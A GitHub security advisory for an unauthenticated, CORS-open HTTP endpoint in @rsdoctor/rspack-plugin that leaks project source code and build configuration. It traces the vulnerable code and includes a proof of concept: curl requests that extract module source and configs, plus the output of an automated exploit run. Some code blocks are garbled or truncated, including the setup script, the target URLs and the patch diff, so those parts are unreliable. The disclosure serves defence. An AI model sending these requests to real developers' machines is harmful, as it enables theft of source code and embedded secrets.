GitHub Advisoryadvisory · npm
GHSA-jmg2-rcxh-w8q3 @rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata
HIGH
Official page ↗
- Aliases
- CVE-2026-61782
- Ecosystem
- npm
- Packages
- @rsdoctor/rspack-plugin
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-200
- Reviewed
- 2026-09-24
Affected packages
• npm @rsdoctor/rspack-plugin: < 1.5.16 → fixed in 1.5.16
Description
Summary
The default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.
Details
Root cause: server binds to all interfaces with no authentication and no key allowlist.
The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:
1. Server binds to `0.0.0.0` (all interfaces)
`packages/utils/src/build/server.ts:107` calls `server.listen(port, callback)` without a `host` argument. Node.js defaults to `0.0.0.0`, exposing the server on every network interface of the developer's machine, including LAN interfaces.
```ts
// packages/utils/src/build/server.ts:83,107
server.listen(port, () => { // no host → 0.0.0.0
resolve(res);
});
```
2. Wildcard CORS enabled unconditionally
`packages/sdk/src/sdk/server/index.ts:106` applies `cors()` middleware with no origin restriction, and `:203–204` additionally sets `Access-Control-Allow-Origin: *` explicitly on every API response, allowing cross-origin browser requests from any domain.
```ts
// packages/sdk/src/sdk/server/index.ts:106
this.app.use(cors());
// :203
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
```
3. `POST /api/data/key` registered with no authentication middleware
`packages/sdk/src/sdk/server/apis/data.ts:6` registers the route via `@Router.post`. There is no authentication guard, token check, or session validation anywhere in the middleware chain.
```ts
// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
@Router.post(SDK.ServerAPI.API.LoadDataByKey)
public async loadDataByKey() {
let { key } = req.body as SDK.ServerAPI.InferRequestBodyType;
const data = await this.loadData(key);
return data;
}
```
4. `key` is passed to `getStoreData()` without an allowlist
`packages/sdk/src/sdk/server/apis/base.ts:29–39` indexes the entire SDK data store directly using the attacker-controlled `key`, including dot-path traversal for nested keys.
```ts
// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
const data = this.ctx.sdk.getStoreData();
let res = data[key];
if (key.includes(sep)) {
res = key.split(sep).reduce((t, k) => t[k], data);
}
return res;
```
Source-to-sink data flow:
| Step | Location | Description |
|------|----------|-------------|
| 1 | `packages/rspack-plugin/src/plugin.ts:111` | Plugin bootstraps the SDK server during build |
| 2 | `packages/core/src/inner-plugins/utils/config.ts:98,110–115` | `disableClientServer` defaults to `false`; server starts in all non-CI builds |
| 3 | `packages/utils/src/build/server.ts:83,107` | HTTP server created and bound to `0.0.0.0` |
| 4 | `packages/sdk/src/sdk/server/index.ts:106,203` | Wildcard CORS applied unconditionally |
| 5 | `packages/sdk/src/sdk/server/apis/data.ts:6,13,29` | Attacker `key` accepted from request body |
| 6 | `packages/sdk/src/sdk/server/apis/base.ts:29,36,39` | `key` indexes `sdk.getStoreData()` with no allowlist |
| 7 | `packages/sdk/src/sdk/sdk/index.ts:487,491` | `moduleCodeMap` getter calls `_moduleGraph.toCodeData()` |
| 8 | `packages/graph/src/graph/module-graph/graph.ts:464–469` | `toCodeData()` returns all module source objects |
| 9 | `packages/graph/src/graph/module-graph/module.ts:248–250` | Each module exposes `source`, `transformed`, and `parsedSource` |
| 10 | `packages/sdk/src/sdk/server/router.ts:119,125` | Serialized result written to HTTP response |
Default configuration ensures source code is captured:
`packages/core/src/inner-plugins/utils/config.ts` shows that `noModuleSource`, `noAssetsAndModuleSource`, and `noCode` all default to `false`, causing `normalizeReportType` to return `SDK.ToDataType.Normal`. This means module source code is stored in the SDK data store by default and retrievable via the `moduleCodeMap` key.
PoC
Original PoC
Environment setup:
```bash
Create and enter a temporary project directory
mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
pnpm init
Install the vulnerable version
pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/[email protected]
Create a source file embedding a secret
mkdir src
cat > src/index.js rspack.config.js :3717/index.html
```
Exploit (from any host on the same LAN, no authentication):
```bash
Primary probe: exfiltrate all module source code
curl -s "http://:/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"moduleCodeMap"}'
Response: full source code of every compiled module, including secrets
```
Expected response (excerpt):
```json
{
"...": "...",
"source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
"...": "..."
}
```
Secondary probe: exfiltrate build configuration and local paths:
```bash
curl -s "http://:/api/data/key" \
-H 'Content-Type: application/json' \
--data '{"key":"configs"}'
Response: 9,278 bytes of serialized build configuration including absolute file paths
```
Automated PoC (Docker-based, self-contained reproduction):
The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes `poc.py` to confirm source code exfiltration. The PoC embeds the marker string `rsdoctor-vuln-001-secret-EXFIL-abc123` in the compiled source and asserts its presence in the unauthenticated API response:
```
============================================================
VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
============================================================
[*] Detected Rsdoctor server on port: 3717 (after 3s)
[*] Running PoC exploit against http://127.0.0.1:3717 ...
[*] Target URL : http://127.0.0.1:3717/api/data/key
[*] Payload : {"key": "moduleCodeMap"}
[*] Auth header : (none)
[+] HTTP status : 200
[+] Response size: 738 bytes
[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
[+] Context around secret:
...NEVER be able to read this content via an unauthenticated HTTP API.
const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
console.log(RSDOCTOR_SECRET_MARKER);
module.exports = { secret: RSDOCTOR_SECRET_MARKER };
...
[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes
```
Recommended patch:
```diff
--- a/packages/utils/src/build/server.ts
+++ b/packages/utils/src/build/server.ts
-export async function createServer(port: number): Promise {
+ server.listen(port, host, () => {
resolve(res);
});
```
```diff
--- a/packages/sdk/src/sdk/server/index.ts
+++ b/packages/sdk/src/sdk/server/index.ts
public get host(): string…
Related
Alias · CVE (1)
- CVE-2026-61782 Rsdoctor is a build analyzer tailored for projects built with Rspack. vulnerability
Weakness · CWE (1)
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
References
- https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-61782 advisory
- https://github.com/web-infra-dev/rsdoctor/pull/1744 web
- https://github.com/web-infra-dev/rsdoctor/pull/1758 web
- https://github.com/web-infra-dev/rsdoctor/commit/602eb306a49b6d19c4c1ea9d8ee0f8caab9e208f web
- https://github.com/web-infra-dev/rsdoctor/commit/e9aaef21f85becfe43a46f716509f41ea5edeb40 web
- https://github.com/web-infra-dev/rsdoctor package